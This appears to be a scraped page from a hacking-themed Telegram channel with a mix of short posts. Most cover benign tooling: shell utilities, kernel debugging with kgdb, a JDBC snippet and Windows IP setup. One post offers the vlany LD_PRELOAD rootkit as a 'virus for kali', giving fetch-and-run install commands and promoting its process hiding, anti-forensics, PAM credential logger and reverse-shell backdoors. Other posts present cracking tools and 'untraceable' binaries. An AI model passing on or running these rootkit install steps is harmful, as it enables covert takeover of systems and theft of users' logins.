UNDERCODE COMMUNITY
2.67K subscribers
1.23K photos
31 videos
2.65K files
79.3K links
πŸ¦‘ Undercode Cyber World!
@UndercodeCommunity


1️⃣ World first platform which Collect & Analyzes every New hacking method.
+ AI Pratice
@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

✨ Web & Services:
β†’ Undercode.help
Download Telegram
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Netcom IP address [processing ideas]
for beginers
twitter.com/UndercOdeTC

> Since many people will not operate the problem of Netcom IP address in the computer system
So how should I deal with the Netcom IP address?


1) Click on the small icon of the network link in the lower right corner of the computer and select "Open Network Connection".

2) Select the "Properties" step on the network card you use. Solve the idea of Netcom IP address.

3) Click the small icon of the network link in the lower right corner of the computer and select "Open Network Connection"

4) Select "Properties" on the network card you use.

5) Open the Local Area Connection Properties panel and select "Internet Protocol (TCP / IP)" Double-click

6) Open the "Internet Protocol (TCP / IP)" property panel, the default is to obtain the IP address option automatically

7) To set it manually, select the second option β€œUse the following IP address”. Set the IP address according to the following figure, (the subnet mask is automatically generated), the gateway (generally 192.168.1.1), DNS preferred Server address, you can fill in 4 8 or the DNS address of your local telecommunications or australia Netcom.

8) Finally, check if your IP is set correctly in the console

▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘postgresql-
>postgis JDBC code :
simple example-easy and fast
instagram.com/UndrcOdeTestingCompany


Connection c = null;
Statement stmt = null;
try {
Class.forName(β€œorg.postgresql.Driver”);
c = DriverManager.getConnection(β€œjdbc:postgresql://localhost:5432/spatial”, β€œpostgres”, β€œ123456”);
c.setAutoCommit(false);
System.out.println(β€œOpened database successfully”);
stmt = c.createStatement();
String sql = β€œCREATE TABLE STUDENTS ” +
β€œ(ID TEXT PRIMARY KEY NOT NULL ,” +
” NAME TEXT NOT NULL, ” +
” SEX TEXT NOT NULL, ” +
” AGE TEXT NOT NULL)”;
stmt.executeUpdate(sql);
System.out.println(β€œTable created successfully”);

stmt.close();
c.commit();
c.close();
} catch (Exception e) {
System.err.println(e.getClass().getName() + β€œ: ” + e.getMessage());
System.exit(0);
}

@UndercOdeOfficial
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Rookit virus for kali
Linux LD_PRELOAD rootkit (x86 and x86_64 architectures)
t.me/UNdercOdeTesting

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

> wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh

2) The quick_install.sh script automatically downloads the latest version of vlany from this repository, untars the archive, then executes the regular installation script from a new random directory in /tmp/. By default, the quick_install.sh script removes the new directory once execution has completely finished.

3) it's very simple to install vlany onto a sytem as it comes with an automated install script.
To install vlany you want to first download it from our GitHub ( Always up to date and trusted )
root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

4) Once it's downloaded you just have to run install.sh inside vlany-master.
root@vlany:~# cd vlany-master && ./install.sh
By default this will prompt you with a tui installation but if cli is prefered you can use the --cli argument to invoke a similar cli installation.
Or Detailed/commands

#!/bin/sh

[ $(id -u) != 0 ] && { echo "Not root. Exiting."; exit; }

WORKING_DIR="/tmp/.$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
ARCHIVE_NAME="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1).tar.gz"

1) mkdir $WORKING_DIR && cd $WORKING_DIR

2) wget https://github.com/mempodippy/vlany/archive/master.tar.gz -O $ARCHIVE_NAME

3) tar xvpfz $ARCHIVE_NAME && rm $ARCHIVE_NAME

4) cd vlany-master

5) chmod +x install.sh

6) ./install.sh

7) rm -rf $WORKING_DIR

πŸ¦‘ Features :

Process hiding
User hiding
Network hiding
LXC container
Anti-Debug
Anti-Forensics
Persistent (re)installation & Anti-Detection
Dynamic linker modifications
Backdoors
accept() backdoor (derived from Jynx2)
PAM backdoor
PAM auth logger
snodew reverse shell backdoor
vlany-exclusive commands

E N J O Y
@UndercOdeOfficial
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
πŸ¦‘ LETS SHARE SOME TOPIC SCRIPTS 2020 on git
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ usefull for any programmer, Directory-based Environments for integretion and more... topic 2020

> If a directory contains a .env file, it will automatically be executed when you cd into it. When enabled (set AUTOENV_ENABLE_LEAVE to a non-null string), if a directory contains a .env.leave file, it will automatically be executed when you leave it.
twitter.com/UNdercOdeTC

usefull for :

1) auto-activating virtualenvs

2) auto-deactivating virtualenvs

3) project-specific environment variable

> When executing, autoenv, will walk up the directories until the mount point and execute all .env files beginning at the top.

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

> Mac OS X Using Homebrew

1) brew install autoenv

2) echo "source $(brew --prefix autoenv)/activate.sh" >> ~/.bash_profile

> Using pip

1) pip install autoenv

2) echo "source which activate.sh" >> ~/.bashrc

> Using git

1) git clone git://github.com/inishchith/autoenv.git ~/.autoenv

2) echo 'source ~/.autoenv/activate.sh' >> ~/.bashrc

πŸ¦‘Configuration
Before sourcing activate.sh, you can set the following variables:

1) AUTOENV_AUTH_FILE: Authorized env files, defaults to ~/.autoenv_authorized

2) AUTOENV_ENV_FILENAME: Name of the .env file, defaults to .env

3) AUTOENV_LOWER_FIRST: Set this variable to flip the order of .env files executed

4) AUTOENV_ENV_LEAVE_FILENAME: Name of the .env.leave file, defaults to .env.leave

5) AUTOENV_ENABLE_LEAVE: Set this to a non-null string in order to enable source env when leaving

6) AUTOENV_ASSUME_YES: Set this variable to silently authorize the initialization of new environments

@UndercOdeOfficial
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Another top 2020 scripts for linux A next-generation cd command with your interactive filter
>The new cd command called "enhancd" enhanced the flexibility and usability for a user. enhancd will memorize all directories visited by a user and use it for the pathname resolution. If the log of enhancd have more than one directory path with the same name, enhancd will pass the candidate directories list to the filter within the ENHANCD_FILTER environment variable in order to narrow it down to one directory
t.me/UndercOdeTesting

πŸ¦‘ FEATURES :

1) Go to the visited directory in the past

2) Easy to filter, using your favorite filter

3) Work on Bash, Zsh and fish (cross-shell compatibility)

4) Go back to a specific parent directory like zsh-bd

5) Fuzzy search in a similar name directory

6) Support standard input (echo $HOME | cd is acceptable)

7) Custom options (user-defined option is acceptable)

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

# add the fzy brew tap to homebrew

1) brew tap jhawthorn/fzy

# install fzy and ccat with homebrew
2) brew install fzy ccat

# alt: brew install fzy ccat percol peco fzf
# depending on which interactive filter you want to use

# install enhancd into your home directory (or a preferred directory)

3) cd ~

4) git clone https://github.com/b4b4r07/enhancd

# if you want to hide the directory in the finder (gui)

5) chflags hidden enhancd

# add enhancd to your bash profile (or sourced file of choice)

6) echo "source ~/enhancd/init.sh" >> ~/.bash_profile

# reload your bash profile

7) source ~/.bash_profile

8) > Fish
enhancd works on fish 3.0.0 and above.

Install one of the interactive filter listed above

Install enhancd-fish :

Oh-my-fish

> omf install https://github.com/b4b4r07/enhancd

9) source ./init.sh

10) The basic usage of the cd command that has been implemented by enhancd is the same as the normal builtin cd command.

$ cd [-|..] <directory>

11) If no arguments are given, enhancd cd command will display a list of the directory you've visited once, encourage you to filter the directory that you want to move.

$ cd
...
/home/lisa/src/github.com/b4b4r07/enhancd/zsh
/home/lisa/src/github.com/b4b4r07/gotcha
/home/lisa/src/github.com/b4b4r07/blog/public
/home/lisa/src/github.com/b4b4r07/blog
/home/lisa/src/github.com/b4b4r07/link_test
/home/lisa/src/github.com/b4b4r07
/home/lisa/Dropbox/etc/dotfiles
/home/lisa/src/github.com/b4b4r07/enhancd
> /home/lisa
247/247
> _

E N J O Y
@UndercOdeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘updated 2020 bash package manager - usefull script :
t.me/UNdercOdeTesting

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

1) placing bpkg and related scripts on /usr/local/bin.

Paste the following on your shell and you're good to go:

$ curl -Lo- "https://raw.githubusercontent.com/bpkg/bpkg/master/setup.sh" | bash

2) clib is a package manager for C projects. If you already have it, installing bpkg is a simple matter of:

$ clib install bpkg/bpkg

3) Source Code
To directly install bpkg from its source code you have to clone its repository and run the setup.sh script:

> git clone https://github.com/bpkg/bpkg.git

> cd bpkg

> ./setup.sh # Will install bpkg in $HOME/.local/bin

> sudo ./setup.sh # Will install bpkg in /usr/local/bin.

> PREFIX=/my/custom/directory ./setup.sh # Will install bpkg in a custom directory.

2) Packages can either be global (on /usr/local/bin if installed as root or
> HOME/.local/bin otherwize) or local (under ./deps).

For example, here's a global install for the current user of the term package:

3) bpkg install term -g

4) term
And the same package as a local install:

5) bpkg install term

6) ./deps/term/term.sh

7) After a local install the term.sh script is copied as term to the deps/bin directory, you can add this directory to the PATH with

> export PATH=$PATH:/path_to_bkpg/deps/bin

8) As a bonus, you can specify a specific version:

$ bpkg install jwerle/suggest.sh@0.0.1 -g

9) You can also install packages without a package.json. As long as there is a Makefile in the repository it will try to invoke make install as long as the -g or --global flags are set when invoking bpkg install.

For example you could install git-standup with an omitted package.json because of the Makefile and the install target found in it.

> $ bpkg install stephenmathieson/git-standup -g

info: Using latest (master)
warn: Package doesn't exist
warn: Missing build script
warn: Trying `make install'...
info: install: `make install'
cp -f git-standup /usr/local/bin

E N J O Y
@UndercOdeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘updated 2020 topic Minimal Linux Live (MLL) is a tiny educational Linux distribution, which is designed to be built from scratch by using a collection of automated shell scripts. Minimal Linux Live offers a core environment with just the Linux kernel, GNU C library, and Busybox userland utilities.
instagram.com/UndercOdeTestingCompany

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

>The generated ISO image file contains Linux kernel, GNU C library compiled with default options, Busybox compiled with default options, quite simple initramfs structure and some "overlay bundles" (the default build process provides few overlay bundles). You don't get Windows support out of the box, nor you get any fancy desktop environment (refer to the Debootstrap Live project if you need minimal system with network and UI). All you get is a simple shell console with default Busybox applets, network support via DHCP and... well, that's all. This is why it's called "minimal".


1) git clone https://github.com/ivandavidov/minimal/

2) go to dir then
>The section below is for Ubuntu and other Debian based distros.

# Resolve build dependencies

3) sudo apt install wget make gawk gcc bc bison flex xorriso libelf-dev libssl-dev

# Build everything and produce ISO image.

4) ./build_minimal_linux_live.sh

5) The default build process uses some custom provided CFLAGS. They can be found in the .config file. Some of these additional flags were introduced in order to fix different issues which were reported during the development phase.

πŸ¦‘ How to build all overlay bundles.

1) cd minimal_overlay

2) ./overlay_build.sh
# How to build specific overlay bundle. The example is for 'Open JDK'
# which depends on many GNU C libraries and on ZLIB. All dependencies
# are handled automatically by the overlay bundle system.

cd minimal_overlay
./overlay_build.sh openjdk

E N J O Y
Posted by UndercOde
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ 2020 top Shell script compiler
twitter.com/UndercOdeTC

> A generic shell script compiler. Shc takes a script, which is specified on the command line and produces C source code. The generated source code is then compiled and linked to produce a stripped binary executable.

> The compiled binary will still be dependent on the shell specified in the first line of the shell code (i.e shebang) (i.e. #!/bin/sh), thus shc does not create completely independent binaries.

> shc itself is not a compiler such as cc, it rather encodes and encrypts a shell script and generates C source code with the added expiration capability. It then uses the system compiler to compile a stripped binary which behaves exactly like the original script. Upon execution, the compiled binary will decrypt and execute the code with the shell -c option.

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

1) git clone https://github.com/neurobin/shc

2) cd shc

3) ./configure

4) make

5) sudo make install

6) If make fails due to automake version, run ./autogen.sh before running the above commands.

πŸ¦‘ Ubuntu-specific

1) sudo add-apt-repository ppa:neurobin/ppa

2) sudo apt-get update

3) sudo apt-get install shc

4) If the above installation method seems like too much work, then just download a compiled binary package from release page and copy the shc binary to /usr/bin and shc.1 file to /usr/share/man/man1.

πŸ¦‘ Usage

1) shc [options]

2) shc -f script.sh -o binary

3) shc -U -f script.sh -o binary # Untraceable binary (prevent strace, ptrace etc..)

4) shc -H -f script.sh -o binary # Untraceable binary, does not require root (only bourne shell (sh) scripts with no parameter)

πŸ¦‘ The hardening flag -H

> This flag is currently in an experimental state and may not work in all systems. This flag only works for default shell. For example, if you compile a bash script with -H flag then the resultant executable will only work in systems where the default shell is bash. You may change the default shell which generally is /bin/sh which further is just a link to another shell like bash or dash etc.

> Also -H does not work with positional parameters (yet)

πŸ¦‘ Testing :

./configure
make
make check
./configure
make
make check

πŸ¦‘ If you want to edit the manual, please edit the man.md file (available in the master branch) instead and then generate the manual file from it with the command (requires pandoc to be installed):


> pandoc -s man.md -t man -o shc.1
#also run this command to generate the html manual

> pandoc -s man.md -t html -o man.html

E N J O Y
Written by UndercOde
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Updated 2019 Search API docs offline, in terminal or browser :
>dasht is a collection of shell scripts for searching, browsing, and managing API documentation (in the form of 150+ offline documentation sets, courtesy of Dash for OS X) all from the comfort of your own terminal!
T.me/UndercOdeTesting

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

1) git clone https://github.com/sunaku/dasht

2) Add the bin/ folder to your PATH environment variable:

3)> export PATH=$PATH:location_where_you_cloned_or_downloaded_dasht/bin

4) Add the man/ folder to your MANPATH environment variable:

> export MANPATH=location_where_you_cloned_or_downloaded_dasht/man:$MANPATH

5) Source this file in ZSH to activate TAB completion for dasht:

>source location_where_you_cloned_or_downloaded_dasht/etc/zsh/completions.zsh
Or simply add the completions/ directory to your ZSH $fpath if you've
already set up ZSH's completion system elsewhere:

> fpath+=location_where_you_cloned_or_downloaded_dasht/etc/zsh/completions/

πŸ¦‘ TO RUN

1) dasht-docsets-install bash

2) Next, perform a direct search from the terminal using dasht(1):

dasht 'c - x'

3) Then, repeat the search in a web browser using dasht-server(1):

dasht-server

@UndercOdeOfficial
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Researchers manage to steal data by manipulating computer screen brightness
Recently from undercode tweets twitter.com/UndercOdeTC

> Computers in government, banks, businesses, industry, and military institutions often operate in a strictly controlled environment, are disconnected from the Internet, and are subject to strict supervision. Although these security measures make them more difficult to crack, several secret channels have been explored in the past, using computer sounds, heat, and even hard drive activity indicators to steal encoded data. The latest attempts include secretly changing the brightness of the display, then capturing video streams with surveillance cameras, and finally decoding through image processing.

> Researchers have been able to extract data from computers by simply changing the brightness level of the computer screen as part of a new type of optically concealed channel that relies on human vision to limit it. According to Hacker News, Dr Mordechai Guri, head of the Cyber ​​Security Research Center at Ben Gurion University in Israel, conducted the study with two scholars.
@UndercOdeOfficial
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ CVE-2017-0199 Vulnerability Exploit Sample Analysis BY UndercOde
instagram.com/UNdercOdeTestingCompany

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

> md5: 0087AA25E20070186AC171BE6C528DA6

> File size: 31752 bytes (31kb)

> File type: PDF

sample The initial file is disguised as a PDF file, hidden in its PDF data stream segment, a word file, and a JS hidden in its PDF Code. When the PDF is opened, the JS code will be executed. Then, the software that opens the word file by default on the computer will be called to open the word file. Then, if the software that is associated with the computer to open the word file by default is the office in the vulnerability version, it will execute by default Download the malicious link in word. Use PDFstreamDumper to view the data of each segment of this PDF, this is a Word file with embedded data stream segments

πŸ¦‘ Attack Load

File MD5: AAFD0EBFE1AFBCAE1834430FEEBD5A31
File Type: of Bi nExecute / Microsoft.EXE [: the X86]

> compiled language: NSIS Packer sample description; the sample is The NSIS packaging program. After running the sample, the sample will successively call [collages.dll Corticoid.cab System.dll] ( where System.dl is harmless ) in its resource file, and then call the LoadLibraryExA function to load System.dll after System. dll will continue to call collages.dll address and call LoadLibraryA function to load collages.dll, collages.dll will Corticoid.cab compressed file decryption core sample shellcode decrypt it, then

> collages.dll uses process injection technology to create a child process that injects the decrypted shellcode data into the child process and executes the shellcode to execute malicious code for camouflage purposes. After finding that it is nsis packaged software, use 7-zip to decompress it, and you can see its related resource files. The cab file is a corrupted file, the cabinet compressed file size and its file type and it is suspected to be a shellcode resource file

πŸ¦‘Note Loaded the resource file, analyzed the two dlls at the beginning, found no malicious code, focused on the cab file, and turned it around for a long time in the packaging program. A lot of time wasted)

by UndercOde
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘JavaScript has npm, Ruby has Gems, Python has pip and now Shell has bpkg, automated 2020 updated script for kali-debian-ubanto
instagram.com/UndercOdeTestingCompany

πŸ¦‘ π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„•:

1) curl -Lo- "https://raw.githubusercontent.com/bpkg/bpkg/master/setup.sh" | bash

2) clib install bpkg/bpkg

πŸ¦‘ 1) git clone https://github.com/bpkg/bpkg.git

2) cd bpkg

3) ./setup.sh # Will install bpkg in $HOME/.local/bin

4) sudo ./setup.sh # Will install bpkg in /usr/local/bin.

5) PREFIX=/my/custom/directory ./setup.sh # Will install bpkg in a custom directory.

6) global install for the current user

> $ bpkg install term -g

7) term

8) local install:

> $ bpkg install term

> $ ./deps/term/term.sh

9) After a local install the term.sh script is copied as term to the deps/bin directory, you can add this directory to the PATH with

> export PATH=$PATH:/path_to_bkpg/deps/bin
As a bonus, you can specify a specific version:

> $ bpkg install jwerle/suggest.sh@0.0.1 -g

10) For example you could install git-standup with an omitted package.json because of the Makefile and the install target found in it.

$ bpkg install stephenmathieson/git-standup -g

@UndercOdeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ The "Reverse Resource Zone"- and required tools for Cracking Softwares by UNdercOde
t.me/UndercOdeTesting

> [ Android Tools ] Relevant tools used by Android program reverse

> [ Debuggers ] Dynamic debugging tools

> [ Disassemblers ] Decompiler tools (static analysis (Main)

> [ PEtools ] PE file analysis and shell checking related tools

> [ Packers ] Shell related tools

> [ Patchers ] Patch related tools

> [ Editors ] Program resource editing, text manipulation related tools

> [ Cryptography ] Algorithm related tools

> [Unpackers ] Shelling machine related

> [ Dongle ] Dongle related

> [ .NET ] Microsoft .Net program reverse related tool

> [ OllyScript ] OllyDbg shelling script, program button event lookup script

> [ OllyDbg 1.x Plugin ] Dynamic debugging tool OllyDbg 1. Plug-in program for x

> [ OllyDbg 2.x Plugin ] Plug-in program for OllyDbg 2.x

> [ x64dbg Plugin ] Plug-in program for dynamic debugging tool x64dbg

> [ IDA Plugin ] Plug-in program for decompiler IDA

> [ Mac OSX ] Mac OSX system Program Reverse Related Tools

> [ Other ] Other related programs

@UndercOdeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Why do you need to debug the linux kernel ?
t.me/UndercOdeTesting

> if you want to take this opportunity to sort out the file system.

> sdcardfs Although the amount of code is not very large, but for my current familiarity with Linux source code, there are still some difficulties.

> So you need to be able to debug with breakpoints to track the execution flow of the kernel. Through breakpoint debugging, you can view the value of the variable and the call stack.

> Sharpening the wood without accidentally cutting the woodworker, breakpoint debugging can be more effective for analyzing the kernel source code.


@UndercOdeofficial
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁


πŸ¦‘debugg Using kgdb, kdb and the kernel debugger internals
t.me/UndercodeTesting

1) The kernel has two different debugger front ends (kdb and kgdb) which interface to the debug core. It is possible to use either of the debugger front ends and dynamically transition between them if you configure the kernel properly at compile and runtime.

2) Kdb is simplistic shell-style interface which you can use on a system console with a keyboard or serial console. You can use it to inspect memory, registers, process lists, dmesg, and even set breakpoints to stop in a certain location. Kdb is not a source level debugger, although you can set breakpoints and execute some basic kernel run control. Kdb is mainly aimed at doing some analysis to aid in development or diagnosing kernel problems. You can access some symbols by name in kernel built-ins or in kernel modules if the code was built with CONFIG_KALLSYMS.

3) Kgdb is intended to be used as a source level debugger for the Linux kernel.

4 It is used along with gdb to debug a Linux kernel. The expectation is that gdb can be used to β€œbreak in” to the kernel to inspect memory, variables and look through call stack information similar to the way an application developer would use gdb to debug an application. It is possible to place breakpoints in kernel code and perform some limited execution stepping.

πŸ¦‘ Requirements :

>Two machines are required for using kgdb.

1) One of these machines is a development machine and the other is the target machine.

2) The kernel to be debugged runs on the target machine. The development machine runs an instance of gdb against the vmlinux file which contains the symbols (not a boot image such as bzImage, zImage, uImage...). In gdb the developer specifies the connection parameters and connects to kgdb.

3) The type of connection a developer makes with gdb depends on the availability of kgdb I/O modules compiled as built-ins or loadable kernel modules in the test machine’s kernel.

πŸ¦‘ Compiling a kernel

> In order to enable compilation of kdb, you must first enable kgdb

Written by UndercOde
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁


πŸ¦‘ Lets start android debugging 2020
> Kernel config options for kgdb
fb.com/UndercOdeTestingCompany

1) To enable CONFIG_KGDB you should look under Kernel hacking β€£ Kernel debugging and select KGDB: kernel debugger.

2) While it is not a hard requirement that you have symbols in your vmlinux file, gdb tends not to be very useful without the symbolic data, so you will want to turn on CONFIG_DEBUG_INFO which is called Compile the kernel with debug info in the config menu.

3) It is advised, but not required, that you turn on the CONFIG_FRAME_POINTER kernel option which is called Compile the kernel with frame pointers in the config menu.

4) This option inserts code to into the compiled executable which saves the frame information in registers or on the stack at different points which allows a debugger such as gdb to more accurately construct stack back traces while debugging the kernel.

5) If the architecture that you are using supports the kernel option CONFIG_STRICT_KERNEL_RWX, you should consider turning it off.

6) This option will prevent the use of software breakpoints because it marks certain regions of the kernel’s memory space as read-only. If kgdb supports it for the architecture you are using, you can use hardware breakpoints if you desire to run with the CONFIG_STRICT_KERNEL_RWX option turned on, else you need to turn off this option.

7) Next you should choose one of more I/O drivers to interconnect debugging host and debugged target. Early boot debugging requires a KGDB I/O driver that supports early debugging and the driver must be built into the kernel directly. Kgdb I/O driver configuration takes place via kernel or module parameters

πŸ¦‘ Here is an example set of .config symbols to enable or disable for kgdb:

# CONFIG_STRICT_KERNEL_RWX is not set
CONFIG_FRAME_POINTER=y
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
Kernel config options for kdb
Kdb is quite a bit more complex than the simple gdbstub sitting on top of the kernel’s debug core. Kdb must implement a shell, and also adds some helper functions in other parts of the kernel, responsible for printing out interesting data such as what you would see if you ran lsmod, or ps.

8) In order to build kdb into the kernel you follow the same steps as you would for kgdb.

9) The main config option for kdb is CONFIG_KGDB_KDB which is called KGDB_KDB: include kdb frontend for kgdb in the config menu. In theory you would have already also selected an I/O driver such as the CONFIG_KGDB_SERIAL_CONSOLE interface if you plan on using kdb on a serial port, when you were configuring kgdb.

10) If you want to use a PS/2-style keyboard with kdb, you would select CONFIG_KDB_KEYBOARD which is called KGDB_KDB: keyboard as input device in the config menu. The CONFIG_KDB_KEYBOARD option is not used for anything in the gdb interface to kgdb. The CONFIG_KDB_KEYBOARD option only works with kdb.

11) Here is an example set of .config symbols to enable/disable kdb:

# CONFIG_STRICT_KERNEL_RWX is not set
CONFIG_FRAME_POINTER=y
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
CONFIG_KGDB_KDB=y
CONFIG_KDB_KEYBOARD=y
Kernel Debugger Boot Arguments
This section describes the various runtime kernel parameters that affect the configuration of the kernel debugger. T

12) Kernel parameter: kgdboc
The kgdboc driver was originally an abbreviation meant to stand for β€œkgdb over console”. Today it is the primary mechanism to configure how to communicate from gdb to kgdb as well as the devices you want to use to interact with the kdb shell.

13) For kgdb/gdb, kgdboc is designed to work with a single serial port. It is intended to cover the circumstance where you want to use a serial console as your primary console as well as using it to perform kernel debugging. It is also possible to use kgdb on a serial port which is not designated as a system console. Kgdboc may be configured as a kernel built-in or a kernel loadable module.

14) You can only make use of kgdbwait and early debugging if you build kgdboc into the kernel as a built-in.